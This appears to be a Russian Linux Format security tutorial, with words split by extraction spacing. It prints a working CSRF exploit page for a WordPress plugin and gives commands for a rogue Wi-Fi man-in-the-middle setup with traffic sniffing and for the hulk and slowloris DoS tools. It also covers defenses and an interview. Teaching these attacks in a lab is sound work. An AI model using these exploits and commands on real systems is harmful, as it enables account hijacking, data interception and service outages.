яв ля ет ся крайне слож ной те мой и толь ко 
ча стью ком пь ю тер ной безо пас но сти. Ес ли 
вы счи тае те, что рис куе те под верг нуть ся 
на прав лен ной ата ке, на сто я тель но ре ко
мен ду ем об ра тить  ся к спе ци а листам по 
безо пас но сти и тес ти ро ва нию рис ков втор
жения. Они помо гут ук ре пить ва шу за щи ту, 
ог ра див вас от зло умыш ленников.

Уровни за щи ты

Шаг за ша гом: На страи ва ем сре ду

1 Им порт ВМ >
Щелкните (м. б. два ж ды) по Linux Format Vulnerable 
Machine�ova, за тем щелкните по Import в диа ло го вом 
окне.

2 За пуск ВМ >
Два ж ды щелкните по но вой ма шине, что бы за пустить 
ее. По сле за груз ки она вы даст го лу бой эк ран с раз
ны ми URL.

3 Про смотр сай та
За пусти те webбрау зер (дол жен ра бо тать лю бой) 
и ука жи те ему верхний URL из пре ды ду ще го ша га.
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В
згля нув на ВМ LXF Vulnerable Machine, вы мо же те лег ко 
прий ти к вы во ду, что ис поль зо вать уяз ви мо сти очень лег
ко, зная, где они есть, а вот как их най ти? Что бы от ве тить 

на этот во прос, мы по ста ви ли се бе за да чу най ти и ис поль зо вать 
уяз ви мо сти на на шем сай те.

Вопер вых, мы уста но ви ли ата кую щий про кси. Этот ин ст ру
мент пе ре хва ты ва ет HTTPза про сы ва ше го брау зе ра и ис поль
зу ет их для соз дания кар ты сай та, ко то рый вы про смат ри вае те. 
С его по мо щью вы мо же те по нять, что же имен но вы ата куе те, 
да же ес ли у вас нет досту
па к ис ход но му ко ду. Так же 
он да ет вам пред став ление 
об ин фор ма ции, пе ре да
вае мой ме ж ду сер ве ром 
и брау зе ром.

Мы вы бра ли OWASP ZAP 
(он име ет ся на http://code.google.com/p/zaproxy и на DVD) – что бы 
при менить его, про сто рас па куй те его и за пусти те (уста нав ли вать 
не на до) с по мо щью:
tar zxvf ZAP_2.0.0_Linux.tar.gz
cd ZAP_2.0.0
./zap.sh

Вер сии 2.0.0 тре бу ет ся Java 1.7 или вы ше. Ес ли у вас бо лее ран
няя вер сия (как по умол чанию в Ubuntu 12.04), вы мо же те ис поль
зо вать или ZAP вер сии 1.4.1, или са мо стоя тель но най ти вер сию 
Java по но вее. На на шей ма шине с Precise Pangolin мы уста но ви ли 
па кет openjdk-7-jre и из менили конеч ную стро ку с zap�sh на
exec /usr/lib/jvm/java7openjdki386/bin/java ${JMEM}
XX:PermSize=256M jar “{BASEDIR}/zap.jar” org.zaproxy.zap.ZAP 
$*

Эта ко ман да за пустит ра бо ту про кси на пор те 8080, и вам нуж но 
на стро ить свой брау зер, что бы он про пускал свои дан ные че рез 

него. В Firefox это де ла ет ся в Edit > Preferences, за тем на до пе
рей ти в Advanced > Network > Settings и из менить пе ре клю ча тель 
на Manual Proxy Configuration с HTTP Proxy в ка че  ст ве localhost 
и Port 8080.

Те перь вы долж ны уви деть од ну или несколь ко за пи сей Zap 
для ка ж дой страницы, на ко то рую вы за хо ди те. Zap так же по пы
та ет ся по мочь вам, от ме чая все пунк ты, ко то рые он со чтет уяз ви
мы ми, цвет ным флаж ком – от жел то го до крас но го, в за ви си мо
сти от серь ез но сти про бле мы (по его мнению). Флаж ки го лу бо го 

цве та про сто от ме ча ют ин
фор ма цию. Од на ко эту гра
да цию на  до принимать 
не без скеп си са. Мно гие 
из от ме чен ных флаж ка ми 
страниц во все не яв ля ют ся 
уяз ви мы ми, а мно гие, на

обо рот, про пуска ют ся (это обыч ная про бле ма со все ми ав то ма
ти че  ски  ми сканера ми безо пас но сти, ко то рые мы встре ча ли).

На стро ив про грам му, мы мо жем на чать ата ку. Пер вая фа за 
лю бо го тес та на проник но вение – это сбор ин фор ма ции. В ZAP 
есть ин ст ру мен ты для ав то ма ти че  ско  го сканиро вания сай та, 
но мы пред по чи та ем на чать с руч но го сканиро вания. Это оз на ча ет 
про смотр сай та че рез ваш webбрау зер, в про цес се ко то ро го ZAP 
со став ля ет ка та лог. Чем под робнее вы рас смат ри вае те сайт, тем 
боль ше ин фор ма ции вы по лу чи те. 

Про дви га ясь по при ло жению, мы ищем век то ры ата ки. 
В основ ном это спо соб пе ре да чи ин фор ма ции на сайт. В HTTP это 
про ис хо дит в двух ви дах: па ра мет ры, пе ре да вае мые по за про
сам GET (это би ты, ко то рые сле ду ют за во про си тель ным зна ком 
в URL), и за про сы POST (их труднее уви деть без та ко го про кси, 
как ZAP, но они пе ре чис ле ны во вклад ке Requests). Лю бые их них 
мож но из менить так, что бы они от прав ля ли лю бую нуж ную нам 

«Пер вая фа за лю бо го 
тес та на про ник но ве-
ние – сбор ин фор ма ции.»

> Рис� 1� Мы за сек ли 
от сут ст вую щее 
по ле nonce, 
что и по зво ли ло 
нам упот ре бить 
эту фор му для 
экс плой та�

По иск уяз ви мо стей
Как об на ру жить и ис поль зо вать сла бую сто ро ну ва ше го сай та.
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ин фор ма цию. Как вы ви ди те на при ме ре атак на блог WordPress, 
хо ро шо про ду ман ные и ор ганизо ван ные вре до носные дан ные мо
гут иногда про скольз нуть на сайт, ес ли он не про ве ря ет вхо дя щие 
дан ные долж ным об ра зом.

По лу чив пол ное пред став ление о сво ей жерт ве, мож но при
сту пать к по ис ку мес та для на шей ата ки. Да же на та ком про стом 
сай те WordPress, как наш, есть сотни век то ров, ко то рые мы мо
жем рас смот реть, но боль шин ст во не бу дут уяз ви мы. Ча стью 
ис кусст ва взло ма сай тов яв ля ет ся осоз нание то го, на ка ких век
то рах сто ит скон цен три ро вать ся. На при мер, мож но бы по про бо
вать ата ко вать па ра метр page_id, имею щий ся на боль шин ст ве 
страниц, но на WordPress он на столь ко ва жен, что явно под
вер гал ся тща тельней ше му рас смот рению. Мо жет, он и уяз вим, 
но ско рее все го сла дить с ним не такто про сто. Луч ше по ис кать 
сла бо сти в менее ис поль зуе мых об лас тях. Ис то ри че  ски сло жи
лось, что до полнения всегда бы ли ку да бо лее пло до твор ной поч
вой для ата кую ще го, чем основ ное при ло жение.

Под дел ка меж сай то вых за про сов
Мы об ра ти ли внимание, что ZAP пе ре чис лил ряд страниц, уяз
ви мых для под дел ки меж сай то вых за про сов (Cross Site Request 
Forgery, CSRF), во вклад ке Alerts. Это спо соб ата ки, при ко то ром 
вы об ман ным пу тем за став ляе те webпри ло жение при нять вхо дя
щие дан ные, соз да вая дру гой сайт, ко то рый ими ти ру ет HTTPза
прос webпри ло жения. Ес ли по сле это го ау тен ти фи ци ро ван ный 
поль зо ва тель от кро ет ваш вре до носный сайт, его брау зер от пра
вит его ау тен ти фи ка ци он ные cookie, бла го да ря ко то рым ваш вре
до носный за прос HTTP бу дет вы полнен поль зо ва те лем (не пе ре
жи вай те, ес ли это все по ка за лось вам тем ным: все станет яс но 
по ме ре то го, как мы бу дем раз би рать суть ата ки).

Обыч но WordPress оста нав ли ва ет этот вид ата ки с по мо щью 
“nonce”. Это слу чай ным об ра зом вы бран ное чис ло, на прав ляе мое 
в брау зер при соз дании фор мы. Ес ли с дан ны ми фор мы на зад 
на сер вер пе ре да ет ся то же чис ло, сер вер зна ет, что фор ма пред
став ле на поль зо ва те лем на сай те. Ес ли нет – сер вер понима ет, что 
фор ма пред став ле на дру гим сай том, и про сто сбра сы ва ет дан
ные. Од на ко мы за ме ти ли, что на од ной из страниц нет nonce – 
в про стом за про се HTTP POST, раз ре шен ном с по мо щью cookie. 
А зна чит, лю бая фор ма HTML (неза ви си мо от то го, на ка ком сай те 
она бы ла) мо жет пред ста вить дан ные этой час ти при ло жения. Вы
гля де ло иде аль ной це лью для CSRFата ки. Об су ж дае мая страни
ца бы ла на строй ка ми для Ungallery (за прос см. на рис. 1).

Хит рость те перь за клю ча лась в соз дании но вой страницы, ко
то рая бы генери ро ва ла иден тич ный за прос HTTP. Это был за прос 
POST, и имен но его про ще все го под де лать с по мо щью фор мы 
HTML. Мы соз да ли но вый файл, со дер жа щий сле дую щее:
<html>
<head>
<title>Test site for csrf in Ungallery</title>
</head>
<body>
<form action=”http://siteurl/wpadmin/optionsgeneral.
php?page=ungallerysettings” method=”POST”>
<input type=”hidden” name=”mt_submit_hidden” value=”Y”>
<input type=”hidden” name=”images_path” 
value=”%2Froot%2Fimages%2F”>
<input type=”hidden” name=”URI” value=”http%3A%2F%2F 
192.168.133.143%2F”>
<input type=”hidden” name=”gallery” 
value=”%3Fpage_id%3D9”>
<input type=”hidden” name=”cache_dir” value=”%2Fvar%2F 
www%2Fwordpress%2Fwpcontent%2Fcache%2F”>
<input type=”hidden” name=”columns” value=”5”>
<input type=”hidden” name=”thumbnail” value=”190”>
<input type=”hidden” name=”browse_view” value=”440”>

<input type=”hidden” name=”hidden” value=”hidden”> 
<input type=”hidden” name=”gallery2” value=””>
<input type=”hidden” name=”images2_path” value=””>
<input type=”hidden” name=”gallery3” value=””>
<input type=”hidden” name=”images3_path” value=””>
<input type=”hidden” name=”gallery4” value=””>
<input type=”hidden” name=”images4_path” value=””>
<input type=”hidden” name=”gallery5” value=””>
<input type=”hidden” name=”images5_path” value=””>
<input type=”hidden” name=”gallery6” value=””>
<input type=”hidden” name=”images6_path” value=””>
<input type=”hidden” name=”Submit” value=”Save+Changes”>
</form>
<script>document.forms[0].submit();</script>
</body>
</head>

Как вы мо же те ви деть, это но вая фор ма HTML, ко то рая пред
став ля ет дан ные на страницу на стро ек Ungallery. По сколь ку здесь 
нет nonce, Ungallery ав то ма ти че  ски при мет его, ес ли бу дет иметь 
со от вет ст вую щий cookie. Ес ли нек то с пра ва ми ад минист ра то
ра от кро ет файл, он мо жет из менить на строй ки. При на стоя щей 
ата ке это мож но сде лать, от пра вив по элек трон ной поч те зав ле
ка тель ную ссыл ку ад минист ра то ру или оста вив гденибудь в об
ще ст вен ном мес те флэш ку USB со скрип том autorun. Конеч но, 
это не са мая вре до носная ата ка, но ею мож но восполь зо вать ся, 
что бы сде лать от кры ты ми изо бра жения, ко то рые долж ны бы ли 
хранит ся в сек ре те.

Ис то рия на этом, конеч но же, не за кан чи ва ет ся. Мы в Linux For-
mat при дер жи ва ем ся по ли ти ки от вет ст вен но го раз гла шения. Это 
оз на ча ет, что хо тя мы и ра ды пуб ли ко вать под роб ную ин фор ма
цию об уяз ви мо стях, все же сна ча ла мы обя за тель но из ве ща ем 
раз ра бот чи ка. 

Как ви ди те, про цесс об на ру жения уяз ви мо стей тре бу ет знания 
то го, что имен но ис кать, и на хо ж дения при ло жений для это го. Это 
мо жет быть дол гий и мед лен ный про цесс. Есть ав то ма ти че  ские 
сканеры (вро де то го, что вклю чен в ZAP), но все же на мно го луч
ше де лать это вруч ную – так виднее, что про ис хо дит. Мно гие тес
ти ров щи ки на проник но вение пред по чи та ют руч ную ра бо ту, это 
по зво ля ет им до би вать ся ку да луч ших ре зуль та тов, чем ав то ма
ти че ским сканерам.

> Вклад ка Quick Start — нов ше ст во ZAP 2� Про сто вве ди те URL, ко то рый вы хо ти те 
под верг нуть ата ке, и он нач нет про че сы вать сайт в по ис ках уяз ви мо стей�  
Это не пло хой стар то вый пункт, но он не смо жет най ти все, что нуж но�
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П
о ка мы рас смот ре ли толь ко ата ку на сайт, но это лишь 
по ло ви на ис то рии. Мы мо жем так же под верг нуть ата
ке че ло ве ка, ко то рый на хо дит ся в се ти. Одним из спо со

бов сде лать это яв ля ет ся XSS (на при мер, тот, что воз мо жен в ВМ 
WordPress), но мы сей час скон цен три ру ем ся на хи щении дан ных.

Для это го есть несколь ко спо со бов. На при мер, мож но уста но
вить на ком пь ю тер вре до носное ПО и ис поль зо вать его для пе
ре хва та се те во го тра фи ка. Од на ко в на шей ста тье мы восполь зу
ем ся про стей шим спо со бом: раз мес тим вре до носный ком пь ю тер 
ме ж ду жерт вой и Ин тернетом, что бы весь тра фик шел че рез не
го. Это на зы ва ет ся ата кой ти па «По средник» (Man In The Middle, 
MITM). Мо же те со вер шить ее с по мо щью се те вых ка бе лей, 
мо же те да же вир ту аль но со вер шить ее с по мо щью ата ки ARP
spoofing; ну, а мы об ра тим ся к WiFi.

Как и все ата ки, опи сан ные в этой ста тье, зло упот реб ление 
дан ной ата кой яв ля ет ся неза
кон ным в боль шин ст ве стран. 
Это не оз на ча ет зло упот реб
ление дан ны ми, это оз на ча ет 
кра жу дан ных как та ко вую.

Что бы про тес ти ро вать ата ку, 
мы взя ли нетбук, под клю чен
ный к Ethernet, для соз дания бес про вод ной точ ки досту па – лю ди 
поль зу ют ся та ки ми для со единения с се тью в ка фе, да же не за ду
мы ва ясь о безопасности.

Вопер вых, нуж на про грам ма на строй ки точ ки досту па. Мы ис
поль зо ва ли hostapd. Она име ет ся в ре по зи то ри ях неко то рых ди
ст ри бу ти вов, и доступ на на http://hostap.epitest.fi/hostapd/. Вам 
так же по на до бит ся DHCPсер вер – он по зво лит убе дить ся, что 
кли ен ты, со единен ные с ва шей точ кой досту па, мо гут по лу чить 
IPад ре са. Мы ис поль зо ва ли dhcpd3 (из па ке та dhcpd3-server 
в Ubuntu).

Обе им про грам мам нуж ны фай лы на строй ки. Фай лы для при
ме ра вы най де те в tarар хи ве ко да он лайн на www.linuxformat.
com/archive.

Ус та но вив про грам му и най дя файл на строй ки, на строй те свою 
точ ку досту па с по мо щью
sudo hostapd –Bdd hostapdl.conf
sudo dhcpd 4 –cf dhcp2.conf wlan0

Воз мож но, при дет ся до ба вить путь к двум фай лам �conf, ес ли 
их нет в те ку щей ди рек то рии.

Вам нуж но ве леть сво ей ма шине пе ре на пра вить ин тернет 
со единения на дру гое се те вое со единение; в про тив ном слу чае 
лю бая ма ши на, ко то рая со еди ня ет ся с ва ми, не смо жет по лу чить 
доступ к Ин тернет.
sudo bash
echo “1” >/proc/sys/net/ipv4/ip_froward
iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE

Ве ро ят но, са мое уди ви тель ное в Ин тернете то, что боль шая 
часть ин фор ма ции не шиф ру ет ся. Она про сто от прав ля ет ся как 

обыч ный текст, ко то рый мо
жет про чи тать лю бой MITM 
без вся ких про блем со взло
мом шиф ра.

Wireshark – от лич ный ин ст
ру мент для про смот ра дан ных, 
про хо дя щих че рез ваш вре до

носный ком пь ю тер на уровне па ке тов, но боль шую часть вре мени 
нам не нуж но уг луб лять ся до это го уров ня. Вме сто это го мож но 
ис поль зо вать justniffer для воссоз дания все го се те во го тра фи ка, 
про хо дя ще го че рез на шу вре до носную точ ку досту па.

Обыч но этот ин ст ру мент не вклю ча ет ся в ре по зи то рии ди ст ри
бу ти вов. Что бы уста но вить его в Ubuntu, до бавь те PPA:
sudo addaptrepository ppa:orestenotelli/ppa
sudo aptget update
sudo aprget install justniffer

В дру гих ди ст ри бу ти вах при дет ся ком пи ли ро вать его са мо стоя
тель но. Под роб но сти см. на http://justniffer.sourceforge.net/#!/install

Есть ряд оп ций, по зво ляю щих вы пол нять са мые раз ные ви
ды се те во го монито рин га. Мы со би ра ем ся ис поль зо вать его 

«В Ин тер не те боль шая 
часть ин фор ма ции 
не шиф ру ет ся.»

По сред ник
Как под верг нуть ата ке от дель ный webбрау зер.

> sstrtip со хра ня ет 
ко пию все го неза-
шиф ро ван но го 
тра фи ка� Обычная 
ко ман да grep мо жет 
най ти лю бые дан-
ные иден ти фи ка-
ции (не радуйтесь: 
это не на стоя щие 
учет ные за пи си)�
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спо соб ность воссоз да вать webстраницы, ко то рые он ви дит. Сна
ча ла соз дай те ди рек то рию дан ных. В дан ном при ме ре она бу дет 
в до машней ди рек то рии ав то ра, но мо жет на хо дить ся где угод но 
(непло хо раз мес тить ее на от дель ном дис ке, ес ли вы планируе те 
оста вить ее ра бо тать на неко то рое вре мя).
mkdir /home/ben/data
sudo justniffergrabhttptraffic d /home/ben/data U ben i wlan0

В обо их стро ках нуж но за менить ben на свое имя поль зо ва те ля. 
Оп ция U ко ман ду ет, под ка ким поль зо ва те лем со хра нять фай лы.

Ес ли вы со единились с точ кой досту па че рез ком пь ю тер, план
шет или те ле фон и бро ди те по се ти, вы долж ны ви деть ди рек то
рию дан ных, за пол няе мую фай ла ми для ка ж дой про смот рен ной 
неза шиф ро ван ной страницы. Сю да вхо дит со дер жание всех про
чи тан ных пи сем, пе ре дан ных без ис поль зо вания HTTPS (Gmail ис
поль зу ет его, и по это му пись ма с него не бу дут про чи та ны; а боль
шин ст во осталь ных сай тов– нет).

Конеч но, не все, что вы хо ти те пе ре хва тить, про хо дит че рез 
HTTP, и мно гие дру гие по пу ляр ные про то ко лы тоже не за шиф
ро ва ны (на при мер, FTP и Telnet). На ваше сча стье, есть и ин ст
ру менты, спо соб ные по мочь вам ата ко вать их. На при мер, dsniff 
(http://monkey.org/~dugsong/dsniff) вы та щит из се те во го тра фи ка 
все неза шиф ро ван ные па ро ли.

Оба эти ин ст ру мен та пас сив ны, то есть про сто де ла ют ко пии 
дан ных, никак ина че на них не воз дей ст вуя. Мы мо жем несколь ко 
из менить си туа цию, но для это го при дет ся при бег нуть к ак тив ной 
ата ке, в ча ст но сти, к sslstrip.

sslstrip ис поль зу ет са му суть се те вых ссы лок и тот факт, что 
неко то рые страницы за шиф ро ва ны, а неко то рые – нет. В основ
ном он от сле жи ва ет весь неза шиф ро ван ный тра фик и ждет ссыл
ки или пе ре ад ре са ции на сай ты HTTPS, а за тем на чи на ет ата ку 
MITM: sslstrip за пра ши ва ет безо пас ную вер сию сай та и вы да ет ее 
брау зе ру в ви де про сто го HTTP.

Сайт мо жет за бло ки ро вать по доб ную ата ку, од на ко в це ли на
шей ста тьи не вхо дит рас смот рение это го про цес са. Од на ко 
мы об на ру жи ли, что неко то рые по пу ляр ные сай ты (вклю чая Face
book и Yahoo) ока за лись уяз ви мы. Мы со об щи ли об этой про бле
ме ко ман дам безо пас но сти этих сай тов. Facebook нам от ве тил, 
что они ре ко мен ду ют вклю чить на строй ки безо пас но сти брау зе
ра. Од на ко оста но вить ата ку им не уда ст ся, и когда мы со об щи
ли об этом, нам ниче го не от ве ти ли. А от Yahoo от ве та во об ще 
не поступи ло.

Шиф руй тесь
Вы мо же те рас смат ри вать Ин тернет как сво его ро да поч то вый 
сер вис. Обыч но дан ные пе ре да ют ся неза шиф ро ван ны ми, и это 
по хо же на пе ре сыл ку от крыт ки. Про чи тать ее мо жет мно же ст во 
лю дей, с мо мен та от прав ки и до мо мен та достав ки, и то же мож но 
ска зать и об ин фор ма ции, от прав ляе мой че рез HTTP, FTP, Telnet. 
Иногда это не име ет зна чения – вам, ве ро ят но, на пле вать, ес ли 
поч таль он ва шей ба буш ки уз на ет, что над всей Ис панией без об
лач ное небо – но иногда и важ но; и вы вряд ли за хо ти те, что бы 

поч таль он уз нал ва ши бан ков ские ре к ви зи ты. То же са мое мож но 
ска зать и о дан ных он лайн. Ес ли вы не хо ти те, что бы ва ши дан ные 
бы ли доступ ны для ши ро кой пуб ли ки, ис поль зуй те за шиф ро ван
ный про то кол (HTTPS, SFTP, SSH, SCP и т. п.).

Что бы несколь ко уп ро стить эту за да чу, Electronic Frontier 
Foundation (EFF) соз да ли рас ши рение для Firefox (вер сия для 
Chrome на хо дит ся на аль фаста дии раз ра бот ки) под на званием 
HTTPS Everywhere. Оно обес пе чи ва ет ис поль зо вание по умол
чанию за шиф ро ван ной вер сии сай та, ес ли та ко вая су ще ст вует. 
Ес ли у сай та нет за шиф ро ван ной вер сии, то оно бу дет ра бо
тать с неза шиф ро ван ной, так что бди тель ность те рять все рав но 
не советуем.

Как мы ви де ли бла го да ря sslstrip, нуж но быть крайне осто рож
ным при ис поль зо вании от кры той се ти, да же ес ли сайт за шиф
ро ван. Пре ж де чем вво дить ка куюли бо ин фор ма цию, убе ди тесь, 
что вы ис поль зуе те HTTPS.

За шиф ро ван ные про то ко лы со хра ня ют кон фи ден ци аль ность 
дан ных, но они не скры ва ют, ка кие сер ве ры вы ис поль зуе те. На
при мер, зло умыш ленник мо жет уз нать, что вы ис поль зуе те gmail.
com, но не смо жет уз нать, под ка ким именем поль зо ва те ля вы ра
бо тае те или ка кие со об щения по элек трон ной поч те по лу чае те 
или от прав ляе те. Ес ли по ми мо шиф ро вания вам нуж на и аноним
ность, поль зуй тесь VPN или Tor (https://www.torproject.org/). 
Помните, что для обес пе чения долж ной за щи ты и в этом случае 
все рав но на до ис поль зо вать про то кол с шиф ро ванием.

> Ис поль зуя justniffer, мы смог ли по лу чить поч ту, от прав лен ную на те ле фон, со еди нен ный 
с точ кой дос ту па�

Все ви ды шиф ро вания осно ва ны на ис поль зо вании 
клю чей. Это нечто вро де па ро лей, по зво ляю щих 
рас шиф ро вать до ку мент. Всегда нуж но обес пе
чить обе сто ро ны необ хо ди мы ми клю ча ми, что бы 
рас шиф ро вать ин фор ма цию. В се ти ис поль зу ют ся 
се ти фи ка ты. Эти сер ти фи ка ты соз да ют ся удо сто
ве ряю щи ми цен тра ми, и га ран ти ру ют, что по лу чае
мые дан ные (и ис поль зуе мые клю чи) дей ст ви тель но 
пе ре да ны с за яв лен но го сай та. Про цесс сер ти фи

ка ции сай тов от крыт для на па дения. На при мер, 
ес ли вы мо же те за гру зить в брау зер сер ти фи кат 
соб ст вен но го удо сто ве ряю ще го цен тра, вы за тем 
смо же те соз дать соб ст вен ные под дель ные сер
ти фи ка ты, ко то рым брау зер бу дет до ве рять. Сде
лав это, вы за тем смо же те ор ганизо вать ата ку 
«По средника», ис поль зуя под дель ный сер ти фи кат.

Что бы по мочь тес ти ров щи кам взло ма с шиф ро
ван ны ми сай та ми, ZAP уме ет соз да вать та кие удо

сто ве ряю щие цен тры и за пускать ата ки с их по мо
щью. Есть так же ряд ком мер че  ских про кси, 
соз дан ных, что бы де лать это ши ро ко мас штаб но, 
что бы (на при мер) ком пании мог ли уз навать, чем 
их со трудники занима ются он лайн.

Вы вод та кой: ес ли ктото еще кон тро ли ру ет 
ваш ком пь ю тер, он мо жет сле дить за всем, что 
вы от прав ляе те по се ти, неза ви си мо от шиф ро вания 
HTTPS.

Взлом сер ти фи ка тов
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D
istributed Denial of Service (DDoS), ве ро ят но, са мый раз
рек ла ми ро ван ный вид ата ки за по следнее вре мя. Anoni
mous и про чие ха кер ст вую щие кол лек ти вы при бе га ли 

к нему для атак на пра ви тель ст ва, фи нан со вые уч ре ж дения и про
чие ор ганиза ции, ко то рые в чемто им на со ли ли. Хоть это и не так 
рек ла ми ро ва лось, но DOS так же стал ору жи ем, ко то рое ис поль
зо ва ли кри ми наль ные эле мен ты. Од на ко пре ж де чем го во рить 
о при чи нах это го, да вай те рас смот рим, что та кое DDoSата ки 
и как они ра бо та ют. 

В об щих чер тах, DDoSата ка не по зво ля ет сер ве ру вы пол нять 
свои обыч ные функ ции, от ка зы вая та ким об ра зом поль зо ва те
лям в об слу жи вании. Обыч но это webсер вер, но необя за тель но. 
Это де ла ет ся не по сред ст вом взло ма ком пь ю те ра или по лу чения 
досту па, а пе ре груз кой сер ве ра боль шим по то ком за про сов.

На при мер, ата кую щий мо жет пе ре гру зить се те вое со единение 
сер ве ра фик тив ны ми дан ны ми, и ника кие полезные па ке ты 
про скольз нуть не смо гут, или он мо жет за хва тить все цик лы CPU, 
и сер вер не смо жет об ра ба ты вать дру гие за про сы.

По сколь ку боль шин ст во со вре мен ных сер ве ров име ют вы
со кую про пу ск ную спо соб ность, мощ ные CPU и боль шое ко ли
че  ст во па мя ти, как пра ви ло, 
их не оченьто пе ре гру зишь 
толь ко с по мо щью до машнего 
ши ро ко по лосно го со еди не
ния. Что бы до бить ся это го, 
ата кую щие час то ис поль зу
ют несколь ко ком пь ю те ров 
для од но вре мен ной ата ки на цель. В слу чае хак ти ви стов это де ла
ется груп пой со чув ст вую щих; в слу чае пре ступ ных эле мен тов, это 
час то де ла ет ся ботнета ми.

Есть мно же ст во ин ст ру мен тов, спо соб ных по мочь вам про
вес ти тест на DDOS. Лю би мей ший ин ст ру мент Anonimous – High 
Orbit Ion Cannon, по сколь ку он прост для неис ку шен ных поль зо
ва те лей. Од на ко мы рас смот рим hulk. Его мож но най ти на http://
packetstormsecurity.com/files/112856/HULKHttpUnbearable
LoadKing.html. Что бы за пустить hulk, про сто рас па куй те его 
и ско ман дуй те:
unzip hulk zip
python hulk py http://<site>

Что бы про тес ти ро вать его, мож но ско рень ко на стро ить сер вер 
HTTP с по мо щью
python m SimpleHTTPServer

и за тем ата ко вать его ко ман дой

python hulk.py http://<ip address>:8000
Мы об на ру жи ли, что это вполне эф фек тив но об ру ши ва ет сайт. 
Но есть оче вид ная разница ме ж ду об ру шением неболь шо го web
сер ве ра на Python и вы би вание со лид но го сер ве ра Apache в ре

жим оф флайн. Hulk про сто 
пы та ет ся за ки дать ма ши ну за
про са ми. Те перь мы рас смот
рим дру гой ин ст ру мент, бо лее 
ра зум ный. Slowlories (он есть 
на http://ha.ckers.org/slowloris/ 
или на DVD) ра бо та ет, пы та ясь 

удер жать как мож но боль ше со единений от кры ты ми, с це лью ис
чер пать ре сур сы сер ве ра. Это тре бу ет на мно го мень шей по ло сы 
ве щания, чем ата ка гру бой си лы в сти ле hulk, од на ко не все сер
вер ное ПО яв ля ет ся уяз ви мым. Что бы за пустить slowlories, про сто 
сде лай те файл ис пол няе мым и за тем вы зо ви те его с по мо щью:
chmode a+x slowlories.pl
./slowris.pl dns <site>

И сно ва наш сер вер на Python сдал ся мгно вен но.

За щи щай тесь
За щи та от DDoSата ки за клю ча ет ся в миними за ции ущер ба от ка
ж до го вре до носно го па ке та. Дру ги ми сло ва ми, на до оста но вить 
как мож но боль ше та ких па ке тов, как толь ко они поя вят ся в ва
шей се ти. Для это го ну жен бранд мау эр и умение его на стро ить, 
что бы он оп ре де лял и от бра сы вал со от вет ст вую щие па ке ты. 

Как имен но вы это сде лае те, за ви сит от бранд мау эра, и под
хо дя щие пра ви ла бу дут по сто ян но ме нять ся в веч ной охо те кош
ки за мы шью, когда ата кую щий бу дет ме нять свои па ке ты, что бы 
обой ти ваш бранд мау эр. Од на ко мы ска жем вот что: уз най те, как 
за щи тить се бя, до то го, как под вергнетесь ата ке! Про буй те все
воз мож ные пред ла гае мые ин ст ру мен ты DDoS и прак ти куй тесь 
в ис кусст ве их бло ки ро вать, по то му что вряд ли вам по нра вит ся 
учить ся это му по сле то го, как ваш сайт рухнет. Ра бо та с ин ст ру
мен та ми DDoS – так же от лич ный спо соб уз нать, как бу дет се бя 
вес ти ваш сайт под пиковой на груз кой. 

В по ряд ке аль тер на ти вы, мож но по мес тить свой сер вер в сеть, 
спо соб ную по за бо тить ся о нем вме сто вас. Та кие про вай де ры, как 
CloudFlare, по мес тят ваш сер вер за свой бранд мау эр (вир ту аль
но, вам не нуж но за но во со еди нять ся с сер ве ром). А зна чит, вам 
не при дет ся бес по ко ить ся о тон ко стях на стой ки бранд мау эра.

> Ло ри мед лен ные 
[Slow lories] — тип 
при ма тов, оби та-
ю щих в Юж ной 
и Юго-Вос точ  ной 
Азии� Ес ли хо ти те 
уз нать, как они 
вы гля дят, про сто 
от крой те файл 
Perl в тек сто вом 
ре дак то ре�

DDoS
Со кру ши те на ме чен ный сер вер.

> Нам уда лось за пус тить мо ди фи ци ро ван ную вер сию hulk 
на Nexus 1� Это ока за лось не так эф фек тив но, как на на столь ной 
ма ши не, но все же бро си ло наш сер вер на ко ле ни� По ме ре рос та 
сво ей мо щи, план ше ты и те ле фо ны впол не мо гут стать потен-
ци аль ны ми ата кую щи ми, со еди нив шись со сво бод ной точ кой 
дос ту па�

«DDoS-ата ка не да ет 
сер ве ру вы пол нять 
свои функ ции.»
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Linux Format: Вы за ме ча ли, что гео гра фия он лайн-атак 
со вре менем ме ня ет ся?
Мэ тью Принс [Matthew Prince]: Мы с мо им со уч ре ди те
лем на ча ли ра бо тать над про бле ма ми се те вой безо пас но сти 
в 2003 го ду, за пустив про ект Honey Pot. Це лью бы ло от сле жи вать 
он лай но вые мо шенниче  ст ва с кре дит ны ми кар та ми, и в пер вую 
оче редь мы от сле жи ва ли, как спа ме ры кра дут ад ре са элек трон
ной поч ты с сай тов. В те вре ме на луч шим спо со бом для пло хих 
парней сде лать день ги он лайн бы ло стать спа ме ром или тру дить
ся на ниве спа ма. Мне ка жет ся, эта си туа ция ме ня ет ся. Эта сфе
ра все еще весь ма при быль на, но уже не так, как рань ше. В спа
ме есть од на ин те рес ная вещь: что бы их не об на ру жи ли, спа ме ры 
ста ли ис поль зо вать ре сур сы соз да те лей ви ру сов [ком пь ю те
ры, ко то рые бы ли ча стью ботнета] для сво их рас сы лок. По ме
ре то го, как с го да ми улуч ша лись фильт ры спа ма и спам ста но
вил ся менее при быль ным, мы уви де ли, как те же са мые ре сур сы 
ботнета ста ли ис поль зо вать ся для ря да дру гих атак. Та ким об
ра зом, по су ти мы сей час име ем де ло с той же про бле мой, что 
и в 2003м: име ют ся за ра жен ные ма ши ны, и они ис поль зу ют ся, 
что бы соз дать еще боль шие про бле мы. В 2003м это был спам, 
в 2012м стал DDoS. Од на ко ре сур сы, ко то ры ми он лайнзло
умыш ленники поль зу ют ся для за пуска ата ки, по следние 10 лет 
оста ют ся все те ми же.

LXF: В чем са мая боль шая уг ро за для он лайн-бизнеса?
МП: Мне ка жет ся, очень силь но вы росло как ко ли че  ст во атак 
[DDoS], так и их раз мер. Мы на блю да ем ре гу ляр ные ата ки, пре
вы шаю щие 50 или 60 ГБ/с, ко то рым под вер га ет ся на ша сеть. 
У нас круп ная и мощ ная сеть, 
и мы справ ля ем ся с ата ка
ми в несколь ко со тен ГБ, 
но, знае те ли, 50 или 60 ги
гов – это боль ше, чем мо
гут от пра вить са мые круп
ные хостингпро вай де ры. 
Я не знаю ни од но го бан ка с по доб ным тра фи ком. С этим труд
но спра вить ся, по то му что немно го най дет ся ре сур сов обо ру до
вания, ко то рые мож но бы ло бы за дей ст во вать, что бы пре кра тить 
та кую ата ку. Не важ но, круп ное у вас пред при ятие или мел кое, за
